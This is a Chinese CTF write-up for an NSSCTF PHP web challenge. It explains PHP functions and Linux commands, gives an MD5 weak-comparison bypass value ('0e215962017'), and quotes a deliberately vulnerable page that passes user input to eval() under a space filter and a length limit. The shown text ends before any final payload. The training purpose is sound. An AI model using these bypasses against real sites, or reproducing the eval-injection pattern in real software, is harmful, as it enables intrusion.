Bootstrap

CTF 全讲解:[SWPUCTF 2022 新生赛]webdog1__start

参考

项目描述
NSSCTFWriteUp
搜索引擎BingGoogle
AI 大模型文心一言通义千问讯飞星火认知大模型ChatGPT
PHP 手册PHP Manual

环境

项目描述
操作系统Kali Linux 2023.1Windows 10 专业版
PHP5.5.57.0.07.0.88.2.6

题目

项目描述
得分项信息收集MD5 绕过弱比较命令执行漏洞HTTP 请求方式嵌套 eval()Linux 命令URL 编码信息收集PHP 源码审计空格绕过限制长度
题目来源NSSCTF

learning.php

信息收集

访问靶场首页,你将观察到如下内容:

尝试访问页面的源代码(快捷键 Ctrl-U页面中右键点击查看源代码)。该页面的源代码中存在一段 HTML 注释,其中包裹着当前页面的 部分 PHP 代码

<!--
if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 
     
-->

isset()

在 PHP 中,isset() 接受 一个或多个 参数,其中的每个参数都是要需要进行检查的变量。isset() 函数将 逐个检查 这些变量,若其中存在 未被初始化值为 NULL 的变量,则 isset() 函数将返回 false。否则,该函数将返回 true

isset() 函数可以在使用变量之前先检查其是否已经被初始化或该变量的值是否为 NULL,从而 避免潜在的异常被抛出

举个栗子

<?php

print("\n【One】\n");
// 未初始化的变量 $var。
$var;
// 未初始化的变量将被赋予默认值 NULL。
// 尝试使用未初始化的变量,PHP 可能抛出 Undefined variable 异常。
var_dump($var);
// 尝试通过 isset() 函数判断 $var 是否为一个
// 未初始化变量。
var_dump(isset($var));

print("\n【Two】\n");
// 为 $var 进行初始化操作
$var = NULL;
// 若一个变量被显示赋予值 NULL,则在使用该变量时,
// PHP 将不会抛出 Undefined variable 异常。
var_dump($var);
// 尝试通过 isset() 函数判断 $var 的值是否为 NULL。
var_dump(isset($var));

print("\n【Three】\n");
$a = $b = 1;
$c = NULL;
// 尝试通过 isset() 判断多个参数中是否存在符合要求的变量。
var_dump(isset($a, $b));
var_dump(isset($a, $c, $b));

执行效果

【One】

Notice: Undefined variable: var in C:\test.php on line 8
NULL
bool(false)

【Two】
NULL
bool(false)

【Three】
bool(true)
bool(false)
PHP Notice:  Undefined variable: var in C:\test.php on line 8

GET 请求

查询字符串

在 Web 开发中,查询字符串(Query String) 是指 URL 中位于 问号 ? 后的 部分 文本。查询字符串常用于客户端浏览器 通过 URL 传递数据给服务器
查询字符串由 一个或多个参数 组成,每个参数之间使用 & 符号 进行 分隔

举个栗子

https://example.com/index.php?ID=1&UserName=RedHeart#BinaryMoon

在上述 URL 中,查询字符串为 ID=1&UserName=RedHeart,其中包含两个参数,即 ID=1UserName=RedHeart。这意味着,参数名为 ID 的参数对应的参数值为 1,而参数名为 UserName 参数对应的参数值为 RedHeart

全局变量 $_GET

在 PHP 中,可以使用全局变量 $_GET 来获取由浏览器客户端提交的查询字符串中的 参数信息$_GET 是一个 关联数组,其中的 为查询字符串中的参数名, 为参数对应的值。

index.php 页面所包含的内容

<?php

// 获取由查询字符串中的参数组成的关联数组
var_dump($_GET);

// 通过向网页中输入一个 </br> HTML 标签来实现换行的效果
echo '</br>';

// 获取查询字符串中参数名为 Name 的参数所对应的参数值
var_dump($_GET['Name']);

执行效果

在客户端浏览器访问 index.php 页面后,服务器端的输出结果。

array(2) { ["Name"]=> string(8) "RedHeart" ["Host"]=> string(10) "BinaryMoon" }
string(8) "RedHeart"

注:

尝试通过 $_GET 访问不存在的键将导致 Undefined array key 警告。因此,在使用 $_GET 访问某一个键前常需要通过 isset() 函数判断其是否存在。

MD5 绕过

MD5

MD5(Message Digest Algorithm 5) 是一种常用的哈希函数算法,用于将 任意长度 的数据转换为 固定长度 的哈希值。MD5MD4 算法的改进版本,由 Ronald Rivest1992 年设计并广泛使用。

MD5 算法的 输出结果 是一个 128 位,即长度为 16 字节的哈希值,通常表示为一个 32 位十六进制数

韧性
  1. 不可逆性
    MD5 是一种 单向哈希函数,具有不可逆性的特性。这意味着 无法 通过 已知的 MD5 哈希值 来准确地 确定原始输入数据

  2. 雪崩效应
    MD5 的雪崩效应是指 对输入数据微小改变 会导致 输出哈希值发生巨大变化 的特性。具体来说,即使输入数据只有一个比特位的改变,其计算得到的 MD5 哈希值也会产生 全局性的变化,而不仅仅在修改的位置上体现出差异。

  3. 唯一性
    理想情况下,对于不同的输入数据,MD5 算法生成的 哈希值应该是唯一的。也就是说,不同的输入数据应该产生不同的哈希值。

  4. 快速性
    MD5 是一种快速计算哈希值的算法,适用于 对大量数据进行哈希计算 的场景。

脆弱性

MD5 算法的 哈希输出空间 相对较小,仅有 128 位(仅能容纳 128 位二进制数据),而 输入空间是无限的,这种 输入与输出的不匹配性 导致了哈希碰撞的 可能性。攻击者可以使用 巧妙构造的输入数据,通过精心选择的 碰撞攻击算法,找到 具有相同哈希值的不同输入

  1. 碰撞攻击
    由于 MD5 的 设计特点算法结构,使得攻击者能够使用巧妙构造的输入数据来找到碰撞。碰撞攻击的发现使得 MD5 不再适用于对数据完整性和身份验证进行可靠保护。

  2. 预计算攻击
    由于 MD5 的 计算速度较快,攻击者可以 预先计算常见输入数据的 MD5 哈希值并将其存储在哈希表中。这样,在实际攻击过程中,攻击者可以通过将需要进行破解的哈希值与预先计算的哈希值进行 比对 来实现对哈希值的快速破解。

md5()

在 PHP 中,md5() 函数用于计算给定字符串的 MD5 哈希值,该函数采用一个字符串作为输入并返回其 对应的哈希值

md5(string $string, bool $binary = false): string

其中:

项目描述
$string要计算 MD5 哈希值的字符串。
$binary参数值为一个 布尔类型 的数据,用于指定返回的哈希值是 二进制格式 还是 十六进制格式。默认为 false,表示返回 十六进制格式 的哈希值,如果设置为 true,则返回 二进制格式 的哈希值。

举个栗子

<?php

// 尝试将字符串 Hello World 转换为 MD5 哈希值
var_dump(md5('Hello World'));

// 尝试将字符串 12 转换为 MD5 哈希值
var_dump(md5('12'));

// 当函数 md5() 的输入值为数值时将自动将非数值数据转换为数值数据
var_dump(md5(12));

执行效果

string(32) "b10a8db164e0754105b7a99be72e3fe5"
string(32) "c20ad4d76fe97759aa27a0c99bff6710"
string(32) "c20ad4d76fe97759aa27a0c99bff6710"

注:

md5 函数的 $binary 参数的值设置为 true,此时若将转换结果输出至终端中将出现 乱码 的现象。这是因为 PHP 会 自动尝试二进制数据 转换为 可以显示的文本信息。PHP 会将二进制数据中的 每一个字节 转化为对应的 ASCII 字符,而转化结果中包含了 部分不可打印字符(回车符、空字符等),这些不可见字符将以 乱码 的形式展现。其中,回车符 虽然为 不可见字符,但在文本中起着将文本内容换行的作用。对此,请参考如下示例:

<?php

// 尝试将哈希值以二进制方式输出至终端中
var_dump(md5('Hello World', true));

// 尝试将哈希值的二进制表达转换为十六进制后输出至终端中
var_dump(bin2hex(md5('Hello World', true)));

执行效果

由于二进制数据转化为文本的结果中包含不可见字符 换行符,所以 var_dump(md5('Hello World', true)); 的输出结果中以 两行 的形式呈现。

string(16) "�
��d�uA����.?�"
string(32) "b10a8db164e0754105b7a99be72e3fe5"
弱比较
隐式类型转换

在 PHP 中,隐式类型转换(Implicit Type Conversion) 是指在某些操作中,PHP 会 自动 将数据 由一种数据类型转换为另一个数据类型,而 无需显式 地编写 类型转换 代码。

PHP 的隐式类型转换会按照一定规则(具体情况具体分析)对操作数进行转换,以使得相关操作 能够正常进行 下去。

字符串连接

在通过使用句点运算符 . 进行字符串连接操作时,PHP 将会尝试将其他数据类型 转换为字符串数据类型。对此,请参考如下示例:

<?php

// 尝试将两个字符串进行拼接
var_dump('Hello ' . 'World');

// 尝试将数值与字符串进行拼接
var_dump('1 + 1 = ' . 2);

// 尝试将两个数值进行拼接
var_dump(1 . 1);

执行效果

string(11) "Hello World"
string(9) "1 + 1 = 2"
string(2) "11"
数学运算

在通过 数学运算符 进行数学运算时,PHP 将会尝试将其他数据类型的数据 转换为数值类型。对此,请参考如下示例:

<?php

// 尝试对布尔值 true 与数值 1 进行减法运算
var_dump(true - 1);

// 尝试对布尔值 true 与 false 进行加法运算
var_dump(true + false);

// 尝试进行字符串之间的乘法运算
var_dump('2' * '150');

// 字符串 100djdj 将被转换为 100
var_dump('100djdj' / 10);

// 字符串 djdj100 将被转换为零
var_dump('djdj100' / 10);

执行效果

int(0)
int(1)
int(300)
int(10)
int(0)
布尔判断

在需要使用布尔值的位置,PHP 将尝试将非布尔值的数据 转换为布尔类型的数据。对此,请参考如下示例:

<?php

// 尝试将空字符串转换为布尔值
if(''){
    print('Hello World' . "\n");
}

// 尝试将字符串 Hello World 转换为布尔值
if('Hello World'){
    print('Hello China' . "\n");
}

// 尝试将数值 999 转换为布尔值
if(999){
    print('久久久' . "\n");
}

执行效果

Hello China
久久久
相等运算符

在 PHP 中存在两种相等运算符,即弱类型相等运算符 == 和强类型相等运算符 ===,两者都可以用于判断两个操作数是否相等,但存在一些区别。

两者的 区别 在于,弱类型相等运算符 在对操作数进行比较之前,将 自动 进行类型转换以 使两者所属的数据类型相同。而 强类型相等运算符 在进行比较时,要求两个值的 类型 都必须 完全相同不进行类型转换。对此,请参考如下示例:

<?php

// 在通过弱类型比较运算符对数值与字符串进
// 行比较时,PHP 优先将字符串转换为数值。

// 由于两者转换为同一类型后,值相同,
// 故将返回 true。
var_dump('123' == 123);

// 由于两者的数据类型及值均不相同,故
// 将返沪 false。
var_dump('123' === 123);

执行效果

bool(true)
bool(false)
MD5 绕过
科学计数法

在 PHP 中,eE 均表示 科学计数法(Scientific Notation)。科学计数法由 基数指数 两部分组成,常用于 表示非常大或非常小的数值。

在科学计数法中,基数 通常 是一个浮点数,介于 110 之间,而指数是一个整数,表示要将基数乘以 10 的多少次方。基数与指数之间以字符 eE 进行分隔。

举个栗子

<?php

// 3.78 * 10 ^ 3
var_dump(3.78e3);

// 3 * 10 ^ -1
var_dump(3E-1);

执行效果

float(3780)
float(0.3)
前缀 0E 与 0e

零的任何指数次幂都为零,因此以 0E0e 为前缀的科学计数法表示的数值的结果都将为数值零。对此,请参考如下示例:

<?php

var_dump(0e3280);
var_dump((float)'0e30284083');
var_dump((float)'0esjlfjsld');

执行效果

float(0)
float(0)
float(0)
绕过

存在部分字符串被 MD5 算法处理后将得到一个以 0e0E 开头的字符串,通过 弱比较类型运算符 判断这类字符串与其他数据是否相等则可能导致潜在的安全漏洞。

再来看看 learning.php 页面源代码中的注释信息:

<!--
if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 
     
-->

由页面注释信息可知,我们需要向 learning.php 页面传递查询字符串参数 web,该 参数的值需要和其自身的 MD5 处理值相同。为执行判断语句中的内容(虽然不知道是什么),我们可以将一个以 0e0E 开头且被 MD5 算法处理的结果也以 0e0E 开头的文本作为参数 web 的值,而文本 0e215962017 恰好符合我们的要求。

于是构造查询字符串:

?web=0e215962017

在 URL 中拼接上述查询字符串后,将跳转至 start.php 页面。

start.php

信息收集

start.php 中未发现可攻击漏洞,在该页面中的源代码中也未发现相关提示。此时,我们可以观察 HTTP 数据包,头部字段中往往会有我们需要的内容。

头部检索

在浏览器中按下 f12 或通过其他方式打开浏览器提供的 开发者工具,选择其中的 网络 分栏。

刷新网页。

选择其中的 start.php

在 HTTP 响应中,我们观察到了一个特殊的响应头部字段 HintHint 字段并未在 HTTP 规范中定义且 Hint 本身含有 提示 的含义。可以看出,这是设计者给出的提示。

于是构造如下路径,将其拼接至 当前页面 URL 的尾部 并尝试对其进行访问:

/f14g.php

f14g.php

信息收集

f14g.php 页面的响应内容为一段 HTML 文本,其中并未包含漏洞和相关的提示信息。

<html>
<img src='https://i0.hdslb.com/bfs/article/7627a3f08227d8374b62a9d5db70ea8366af9146.jpg@942w_915h_progressive.webp'>
  oh ! i can't believe you think flag really be here hhhh 
 
</style>
<body>
</body>
</html>

尝试通过开发者工具观察该页面的响应头部字段,得到如下结果:

响应头部字段中同样含有设计者提供的提示字段 Hint,该字段的内容尝试引导我们访问 F1l1l1l1l1lag.php 页面。

探秘 F1l1l1l1l1lag.php

F1l1l1l1l1lag.php 页面通过 highlight_file() 函数高亮显示了该页面的 PHP 源代码,让我们对其逐一进行分析。

<?php
error_reporting(0);


highlight_file(__FILE__);



if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }

}


    

?>

error_reporting()

在 PHP 中,error_reporting() 函数用于设置当前的 错误报告级别。错误报告级别 决定 了哪些类型的错误和警告将 被 PHP 报告和显示

错误报告级别

error_reporting() 函数接受一个整数或 PHP 提供的错误报告级别常量作为参数,该参数表示要启用的错误报告级别。以下是一些 常用的 error_reporting() 参数

错误报告级别常量作用
-1显示所有 错误。
0不显示任何 错误。
E_ERROR1仅显示 致命级别 的错误信息。
E_WARNING2仅显示 警告级别 的错误信息。
E_PARSE4仅显示 语法解析错误
E_NOTICE8仅显示 注意级别 的错误信息。
E_CORE_ERROR16仅显示 PHP 核心致命错误
E_CORE_WARNING32仅显示 PHP 核心非致命错误
E_COMPILE_ERROR64仅显示 编译时致命错误
E_COMPILE_WARNING128仅显示 编译时非致命错误
E_USER_ERROR256仅显示 用户自定义的致命错误
E_USER_WARNING512仅显示 用户自定义的非致命错误
E_USER_NOTICE1024仅显示 用户自定义的注意和提示信息
E_ALL32767显示 所有错误信息
E_STRICT2048仅显示 严格模式规范下 的错误信息。
E_RECOVERABLE_ERROR4096仅显示 可恢复的致命错误,可以通过捕获错误进行处理。
E_DEPRECATED8192仅显示 已弃用的功能和方法的警告
E_USER_DEPRECATED16384仅显示 用户自定义的已弃用功能和方法的相关警告

这些 error_reporting() 函数的参数用以 控制 PHP 的错误报告行为,每个参数对应不同的错误级别,可以 单独选择 某一参数设置 PHP 的错误报告行为,也可以通过 | 运算符 按需组合使用

举个栗子

<?php


# 将 PHP 的错误报告级别设置为 0,
# 此时 PHP 将不会显示任何的错误信息。
error_reporting(0);

# 将 PHP 的错误报告行为设置为 E_WARNING | E_NOTICE,
# PHP 将仅显示 PHP 运行过程中产生的 WARNING 与 NOTICE。
error_reporting(E_WARNING | E_NOTICE);

// 在 PHP 中,访问未曾定义的变量将导致 Notice
print('Hello World');
print($a);

// 在 PHP 中,缺少一个必须的参数将导致 Warning
urlencode();

执行效果

Hello World
Notice: Undefined variable: a in C:\test.php on line 6

Warning: urlencode() expects exactly 1 parameter, 0 given in C:\test.php on line 9
PHP Notice:  Undefined variable: a in C:\test.php on line 6
PHP Warning:  urlencode() expects exactly 1 parameter, 0 given in C:\test.php on line 9
影响范围

error_reporting() 函数仅能够影响该函数所处位置的后续代码。对此,请参考如下示例:

<?php


# 将 PHP 的错误报告级别设置为 0,
# 此时 PHP 将不会显示任何的错误信息。
error_reporting(0);

// 在 PHP 中,访问未曾定义的变量将导致 Notice
print($a);

// 在 PHP 中,缺少一个必须的参数将导致 Warning
urlencode();

# 将 PHP 的错误报告行为设置为 E_WARNING,
# PHP 将仅显示 PHP 运行过程中产生的 WARNING。
error_reporting(E_WARNING);

print($a);

urlencode();

执行效果

Warning: urlencode() expects exactly 1 parameter, 0 given in C:\test.php on line 20
PHP Warning:  urlencode() expects exactly 1 parameter, 0 given in C:\test.php on line 20

highlight_file()

__FILE__

在 PHP 中,__FILE__ 是一个包含当前 正在执行的 PHP 文件字符串形式的完整路径 的内置全局常量。

函数 highlight_file()

highlight_file() 函数是 PHP 提供的一个用于 PHP 代码高亮显示 的函数,使用该函数将能够获取到 指定文件中的内容 通过 HTML 标签 实现高亮显示的结果。

highlight_file(string $filename, bool $return = false): string|bool

其中:

项目描述
$filename欲高亮显示的文件的 路径
$return若该参数的值为 true,则 highlight_file() 函数将返回文件高亮处理后的 HTML 文本,而不是将其 直接 输出。

举个栗子

<?php

// 按照一定规则通过 HTML 标签高亮显示
// 指定 PHP 文件中的内容。
highlight_file(__FILE__);

// 通过在网页中嵌入 HTML 标签 </br>
// 实现换行效果。
echo '</br>';

var_dump('Hello World');

执行效果

执行 highlight_file(__FILE__); 后,PHP 会自动将全局变量 __FILE__ 所指向的文件中的内容 高亮处理后得到的 HTML 文本进行输出。尝试通过浏览器访问 __FILE__ 所指向的文件将得到类似如下效果:

highlight_file() 高亮处理目标文件后得到的 HTML 文本如下:

<code><span style="color: #000000">
<br /></span><span style="color: #0000BB">var_dump</span><span style="color: #007700">(</span><span style="color: #DD0000">'Hello&nbsp;World'</span><span style="color: #007700">);</span>
</span>
</code>

注:

highlight_file() 函数 并不是仅能够 对 PHP 代码进行高亮处理,实际上,highlight_file() 函数将通过 PHP 内置的语法高亮器 按照一定的高亮规则对文件中 <?php 后与?>(可被省略) 前的内容进行高亮处理。对此,请参考如下示例:

<?php

// 按照一定规则通过 HTML 标签高亮显示
// 指定 PHP 文件中的内容。
highlight_file('./calc.js');

// 通过在网页中嵌入 HTML 标签 </br>
// 实现换行效果。
echo '</br>';

var_dump('Hello World');

calc.js 文件中的内容

<?php
// 定义两个数字
var num1 = 5;
var num2 = 10;

// 计算两个数字的和
var sum = num1 + num2;

// 显示计算结果
console.log("两个数字的和为:" + sum);

莫愁前路无知己,天下谁人不识君。

?>

foreach(str_split('Hello World') as $char){
    print($char . "\n");
}

执行效果

strstr()

strstr() 函数是 PHP 中用于在字符串中查找 子字符串 的函数,该函数返回在字符串中 第一次出现的子字符串其后面的所有内容

strstr(string $haystack, string $needle, bool $before_needle = false): string|false

其中:

项目描述
$haystack字符串。
$needle被搜索的子字符串。
$before_neddle指定 是否 返回 子字符串之前 的内容,默认为 false。如果将该参数的值设置为 true,则返回 子字符串之前 的内容。如果该参数的值设置为 false,则返回 子字符串及其之后的所有内容

举个栗子

<?php

$space = 'I am a space!';
$string = 'Hello' . $space . 'World';

// 返回子字符串及其之后的内容
var_dump(strstr($string, $space));
// 返回子字符串之前的内容
var_dump(strstr($string, $space, true));

执行效果

string(18) "I am a space!World"
string(5) "Hello"

注:

在 PHP 中,还有一个与 strstr() 函数类似的函数 stristr()stristr() 函数与 strstr() 函数的区别是,stristr() 函数不区分字符串与字符串的大小写格式,而 strstr() 函数则对此由严格的限制。对此,请参考如下示例:

<?php

$space = 'I am a space!';
$small_space = 'i am a space!';
$string = 'Hello' . $space . 'World';

// strstr() 函数区分字符串与子字符串中内容的大小写形式
var_dump(strstr($string, $small_space));
// stristr() 函数并不区分字符串与子字符串的大小写形式
var_dump(stristr($string, $small_space));

执行效果

bool(false)
string(18) "I am a space!World"

str_ireplace()

在 PHP 中,str_ireplace() 函数用于执行 不区分大小写(具有相同功能且区分大小写的 PHP 函数为 str_replace() )替换操作。该 PHP 函数将在 字符串数组 中搜索指定的子字符串或子元素,并将其替换为另一个字符串或元素。取决于需要进行替换操作的数据的类型,该函数将返回一个字符串或数组。

str_ireplace(
    array|string $search,
    array|string $replace,
    string|array $subject,
    int &$count = null
): string|array

其中:

项目描述
$search需要搜索和替换的字符串或数组。
$replace用于替换匹配项的字符串或数组。
$subject要在其中执行搜索和替换操作的字符串数组。
&$count(可选)请为该参数指定一个 变量,该变量的值将被设置为 替换发生的次数

举个栗子

<?php

# 函数 str_ireplace() 的前三个参数的第二层作用即:
# 参数 $search 与 $replace 用以创建映射关系,
# 而 $subject 用以确定返回数据的类型。
$result = str_ireplace(array('Hello', ' ', 'World'), array(1, 2, 3), array('!!!', 'WorLd', ' ', 'HELLO'));
var_dump($result);

$result = str_ireplace(array('Hello', ' ', 'World'), array(1, 2, 3), 'Hello World');
var_dump($result);

$result = str_ireplace('BinaryMoon', 'China', 'Hello BinaryMoon');
var_dump($result);

$result = str_ireplace(array('Hello', ' ', 'World'), 'China', 'Hello World');
var_dump($result);

$result = str_ireplace(array('Hello', ' ', 'World'), 'China', array('Hello', ' ', 'World', '!!!'));
var_dump($result);

print("\n" . '该类替换情形不被支持,为此 PHP 将抛出一个 Notice 异常。' . "\n");
$result = str_ireplace('Hello', array('Hello', ' ', 'World'), 'Hello World');
var_dump($result);

print("\n" . 'Count 参数的作用' . "\n");
# 定义变量 count 用以记录某一次替换操作过程中发生的替换次数。
$count = '';
$result = str_ireplace(array('Hello', ' ', 'World'), array(1, 2, 3), 'Hello World !!!', $count);
var_dump($result);
var_dump($count);

执行效果

array(4) {
  [0]=>
  string(3) "!!!"
  [1]=>
  string(1) "3"
  [2]=>
  string(1) "2"
  [3]=>
  string(1) "1"
}
string(3) "123"
string(11) "Hello China"
string(15) "ChinaChinaChina"
array(4) {
  [0]=>
  string(5) "China"
  [1]=>
  string(5) "China"
  [2]=>
  string(5) "China"
  [3]=>
  string(3) "!!!"
}

该类替换情形不被支持,为此 PHP 将抛出一个 Notice 异常。

Notice: Array to string conversion in C:\test.php on line 22
string(11) "Array World"

Count 参数的作用
string(7) "1232!!!"
int(4)
PHP Notice:  Array to string conversion in C:\test.php on line 22

strlen()

strlen() 函数用以返回给定字符串所占用的字节数。对此,请参考如下示例:

<?php


# 一个 ASCII 字符占用一个字节大小的存储空间。
$string = 'Hello World';
var_dump(strlen($string));

# 一个通过 UTF-8 编码的中文字符大多占用三个字节。
$string = '你好 中国';
var_dump(strlen($string));

执行效果

int(11)
int(13)

die()

在 PHP 中,die() 函数常用于对脚本的主动结束。对此,请参考如下示例:

<?php


var_dump('Hello China');
die();

# 由于 die() 函数的执行导致脚本的结束,
# 故程序将不会输出 Hello World。
var_dump('Hello World');

执行效果

string(11) "Hello China"
参数
退出状态码

退出状态码(Exit Status Code)是在程序退出时返回给操作系统的一个 整数值,退出状态码用于向操作系统提供关于程序退出状态的信息,通常表示程序的执行结果或发生的错误类型

退出状态码是一个约定俗成的机制,在不同的编程语言和操作系统中都存在。在大多数操作系统中,退出状态码为 0 表示程序成功执行并正常退出,非零值 则表示发生了某种错误或异常情况。具体的状态码含义可能因编程语言和操作系统而异,可以根据需要自定义状态码的含义。

一些常见的退出状态码约定如下:

  • 0
    程序成功执行并正常退出。
  • 非零值
    表示不同的错误类型或异常情况。具体的状态码解释取决于程序的设计和需求。

退出状态码在脚本或命令行程序中很有用,因为它 可以作为程序执行结果的指示,并可以被其他程序或脚本进行处理。在脚本中,可以通过读取其他程序的退出状态码来根据不同的情况采取相应的操作。

status

die() 函数存在 参数 status,该参数用于设置当前程序的退出状态码。依据参数 status 的值的 数据类型,die() 函数将 存在不同表现

项目退出状态码输出
数值数值本身(可为 负数无输出
字符串0参数值将被输出至终端或页面中。
其他类型(包括布尔类型)0参数值首先将被转换为字符串,转换结果将输出至终端或页面中。

举个栗子

<?php


die(true);

执行效果

上述脚本执行后将向终端或页面输出 1 并将退出状态码设置为 0

1

eval()

eval() 函数是 PHP 中的一个函数,该函数用于执行 包含 PHP 代码的字符串,并将其作为 PHP 脚本运行。eval() 函数的特性使得你可以 在程序运行时动态生成和执行 PHP 代码尽可能不要使用 eval() 函数,因为该函数容易引入一些潜在的安全风险。

举个栗子

<?php


$content = 'Hello World';

# 传递给 eval() 函数的字符串代码被执行时,
# 所处的作用域与 eval() 函数所处的作用域一致。

function func(){
    $content = 'Hello China';
    # 传递给 eval() 函数的参数需要是一段有效的
    # PHP 脚本(注意末尾的分号)。
    eval('var_dump($content);');
}

func();

eval('var_dump($content);');

执行效果

string(11) "Hello China"
string(11) "Hello World"

三个判断语句

回顾一下 F1l1l1l1l1lag.php 页面的源代码。

<?php
error_reporting(0);


highlight_file(__FILE__);



if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }

}


    

?>

F1l1l1l1l1lag.php 页面源代码中较为关键的是 三个 if 判断语句,这是我们绕过该页面安全措施的关键。

第一个判断语句

F1l1l1l1l1lag.php 页面的第一个判断语句尝试判断客户端浏览器在访问本页面时是否正确传递 get 查询字符串参数。若有,则将 get 查询字符串参数的值传递给 变量 get

if (isset($_GET['get'])){
    $get=$_GET['get'];
}
第二个判断语句

F1l1l1l1l1lag.php 页面的第二个判断语句尝试判断 get 变量的值中是否存在 空格。若存在,则立即终止程序并向终端或页面输出 nonono。若不存在,则将 get 变量中的 flag 子文本(不区分大小写)替换为包含单个空格的字符串。

if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
    }else {
        die("nonono"); 
    }
第三个判断语句

F1l1l1l1l1lag.php 页面的第三个判断语句尝试判断 get 变量的值所占据的内存空间是否大于 18 字节。若是,则终止程序并向终端或页面输出 This is too long.。若不是,则通过 eval() 函数将 get 变量中值作为 PHP 代码进行执行。

if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 

绕过 F1l1l1l1l1lag.php

system()

PHP 提供的 system() 函数允许您使用 命令行工具,并将命令的执行结果输出至页面或终端中。

function system(     
	string $command,     
	&$result_code 
): false|string

其中:

项目描述
command该参数用以指定需要执行的命令。
&$result_code该参数接受一个变量,在命令执行完毕后该变量将被设置为命令执行的 状态码(该状态码的功能与退出状态码的功能类似)。

system() 函数的返回值为命令执行过程中输出至终端或页面的 最后一行内容

举个栗子

<?php


# 临时将终端的编解码方式设置为 UTF-8,
# 防止输出内容乱码显示。
system('chcp 65001');

$result_code = '';
$last_line = system('ping localhost', $result_code);
var_dump($last_line);
var_dump($result_code);

执行效果

system() 函数将 阻塞 PHP 脚本,直至 命令执行完毕。也正因如此,上述示例中的 末两行代码 才能输出我们希望的内容。

Active code page: 65001

Pinging TwoMoons [::1] with 32 bytes of data:
Reply from ::1: time<1ms 
Reply from ::1: time<1ms 
Reply from ::1: time<1ms 
Reply from ::1: time<1ms 

Ping statistics for ::1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
string(47) "    Minimum = 0ms, Maximum = 0ms, Average = 0ms"
int(0)

Linux 命令

ls

ls 命令是 Linux 及其他 类 Unix 操作系统中的一个常用命令,用于 列举某个目录下的子目录与文件

常用选项

在使用 ls 命令时可以携带一些选项,这些选项能够对列举操作进行更为精细的选择。

选项描述
-a列举所有文件和目录,包括以在 Linux 系统中以点 . 开头的隐藏文件。
-l以长格式列出文件和目录的 详细信息,包括文件类型、权限、所有者、组、大小、修改日期等。
-h使用 多种 数据存储单位而不是 仅使用 字节单位显示文件或目录大小。
-t修改时间 降序排列文件和目录,最近修改的文件将位于输出结果的上部分。
-r在原排序结果的基础上进行 反向排序,可以和其他排序选项(如 -t)一同生效。
-F在文件和目录的名称后面添加 标志 以表示它们的类型,例如,以 / 结尾的名称表示目录,以 * 结尾的名称表示可执行文件。
-R递归列举 文件及目录。
-S文件大小 降序排列,最大的文件显示在顶部。
-d仅列举目录 的相关信息,而不显示目录中的文件。
-i显示文件的 inode 编号(inode 编号在 Linux 中用于唯一标识文件)
-1单列方式 显示文件和目录,每行一个条目,适用于脚本处理。

这些选项可以单独使用,也可以组合在一起,以满足不同的需求。例如,可以使用 ls -lta 来以长格式、按时间降序列出所有文件(包括隐藏文件)和目录。如需查看 ls 命令的完整选项列表和详细信息,请在 Linux 终端运行 man ls 命令。

列举范围

在默认情况下,执行 ls 命令将仅列举 当前工作目录 下的所有文件及目录。

例如,当我在 / 目录下执行命令 ls 时,Linux 将输出 / 目录下的所有文件及目录。

┌──(root㉿MyComputer)-[/]
└─# ls
bin   dev  home        initrd.img.old  lib32  libx32      media  opt   root  sbin  sys  usr  vmlinuz
boot  etc  initrd.img  lib             lib64  lost+found  mnt    proc  run   srv   tmp  var  vmlinuz.old

当然,你也可以通过在 ls 命令的后面指定需要进行列举操作的文件夹来限制列举范围。

例如,当我在 / 目录下执行命令 ls /home 时,Linux 将输出 /home 目录下的所有文件及目录。

┌──(root㉿Black-Overcoat)-[/]
└─# ls /home
MyName
cat

catLinux 系统中一个常用的命令行工具,用于查看、合并和创建文本文件。

  1. 查看文件内容
    cat 命令最常见的用法查看文本文件的内容。例如,查看一个名为 file.txt的文件,可以运行以下命令:

    cat file.txt
    

    在默认情况下,cat 命令会将获取到的内容输出至终端中。

  2. 将获取到的内容输出至文件中
    使用 cat 命令可以获取某一文件中的内容,搭配 输出重定向符号 >追加重定向符号 >> 则可以将获取到的文件内容重定向输出至其他文件文件中。
    举个栗子
    I. 获取 file.txt 文件中的内容并将其输出至文件 target.txt 中。若 target.txt 并不存在,则创建它。若 target.txt 已经存在,则覆盖它。

    cat file.txt > target.txt
    

    II. 获取 file.txt 文件中的内容并将其输出至文件 target.txt 中。若 target.txt 并不存在,则创建它。若 target.txt 已经存在,则将新获取到的内容追加到 target.txt 文件中已有内容的末尾。

    cat file.txt >> target.txt
    
  3. 多个文件合并
    catconcatenate 的缩写,意味 连接cat 命令可以 将多个文件的内容连接在一起,并将结果输出到终端或另一个文件中。例如,要将 file1.txtfile2.txt 的内容连接并显示在终端上,可运行如下命令:

    cat file1.txt file2.txt
    
  4. 显示行号
    在使用 cat 命令的同时使用-n选项。cat 将在 获取到的每一行的内容的起始部分标注行号

    cat -n file.txt
    

URL 字符编码

URL 字符编码是一套转换依据,其功能主要有以下三点:

  1. 将非 ASCII 字符文本转换为 ASCII 字符文本
  2. 去除语义
  3. 将不可见字符(如空格)转换为可见文本
将非 ASCII 字符文本转换为 ASCII 字符文本

URL 中的中文等非 ASCII 字符在 通过网络传输前 需要通过 URL 编码进行转换以使其符合 URL 的设计原则(URL 基于 ASCII 字符集进行设计)

在 PHP 中,可通过内置函数 urlencode() 将非 ASCII 文本转换为 URL 编码字符。对此,请参考如下示例:

<?php


var_dump(urlencode('Hello World'));
var_dump(urlencode('你好,中国'));
var_dump(urlencode('你好I am a space世界'));

执行效果

string(11) "Hello+World"
string(45) "%E4%BD%A0%E5%A5%BD%EF%BC%8C%E4%B8%AD%E5%9B%BD"
